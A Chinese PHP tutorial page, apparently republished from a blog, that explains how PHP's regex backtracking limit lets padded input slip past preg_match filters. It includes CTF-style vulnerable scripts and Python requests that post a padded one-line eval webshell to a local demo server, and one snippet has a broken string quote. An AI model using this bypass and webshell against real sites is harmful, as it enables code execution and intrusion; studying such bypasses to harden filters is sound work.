服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - PHP教程 - php正则回溯绕过最大次数上限案例详解

php正则回溯绕过最大次数上限案例详解

2022-11-13 15:15共黄昏 PHP教程

这篇文章主要介绍了php利用正则回溯进行绕过最大次数上限的案例方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

什么是正则回溯

从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。

php正则回溯绕过最大次数上限案例详解

非贪婪模式回溯过程:

text = "abc"
regex = "ab{1,3}c"

php正则回溯绕过最大次数上限案例详解

为什么可以利用正则回溯进行绕过

大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

  • 使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例一

PHP源码:

?
1
2
3
4
5
6
7
8
9
10
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data); 
}

python绕过源码:

?
1
2
3
4
5
6
import requests
datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

当回溯次数为999990次时的运行结果:

php正则回溯绕过最大次数上限案例详解

当回溯次数为1000000次时的运行结果:

php正则回溯绕过最大次数上限案例详解

php正则回溯绕过案例二

php源码:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

python源码:

?
1
2
3
4
5
6
import requests
datas = {
    'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

php正则回溯绕过最大次数上限案例详解

python测试:

没有 ‘Merry Christmas’ 前缀的运行结果

?
1
2
3
4
5
6
import requests
datas = {
    'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

php正则回溯绕过最大次数上限案例详解

到此这篇关于php正则回溯绕过最大次数上限案例详解的文章就介绍到这了,更多相关php正则回溯内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/weixin_49472648/article/details/125876873

延伸 · 阅读

精彩推荐
  • PHP教程使用phpQuery获取数组的实例

    使用phpQuery获取数组的实例

    下面小编就为大家带来一篇使用phpQuery获取数组的实例.小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...

    PHP教程网4112021-04-29
  • PHP教程实例讲解PHP中使用命名空间

    实例讲解PHP中使用命名空间

    在本篇文章里我们通过实例给大家分享了关于PHP中使用命名空间的相关知识点内容,有兴趣的朋友们学习下。...

    laozhang3472019-06-27
  • PHP教程分享5个非常有用的Laravel Blade指令

    分享5个非常有用的Laravel Blade指令

    这篇文章主要给大家分享介绍了5个非常有用的Laravel Blade指令,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要...

    Summer20184502019-09-30
  • PHP教程PHP curl实现抓取302跳转后页面的示例

    PHP curl实现抓取302跳转后页面的示例

    这篇文章主要介绍了PHP curl实现抓取302跳转后页面的示例,主要是对CURLOPT_CUSTOMREQUEST参数的运用,需要的朋友可以参考下 ...

    PHP教程网3922020-07-15
  • PHP教程并发下常见的加锁及锁的PHP具体实现代码

    并发下常见的加锁及锁的PHP具体实现代码

    用到了Eaccelerator的内存锁 和 文件锁,原理如下判断系统中是否安了EAccelerator 如果有则使用内存锁,如果不存在,则进行文件锁 ...

    php教程网2512019-11-10
  • PHP教程PHP扩展之kafka安装应用案例详解

    PHP扩展之kafka安装应用案例详解

    这篇文章主要介绍了PHP扩展之kafka安装应用案例详解,本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下...

    imarno9202021-11-24
  • PHP教程Laravel数据库读写分离配置的方法

    Laravel数据库读写分离配置的方法

    今天小编就为大家分享一篇Laravel数据库读写分离配置的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    wan35369412410972021-09-01
  • PHP教程PHP 登录记住密码实现思路

    PHP 登录记住密码实现思路

    在登录的时候记住用户输入的密码在某些情况下是很有必要的,下面是一个小例子,感兴趣的朋友可以参考下哈,希望对你有所帮助 ...

    PHP教程网1852020-03-24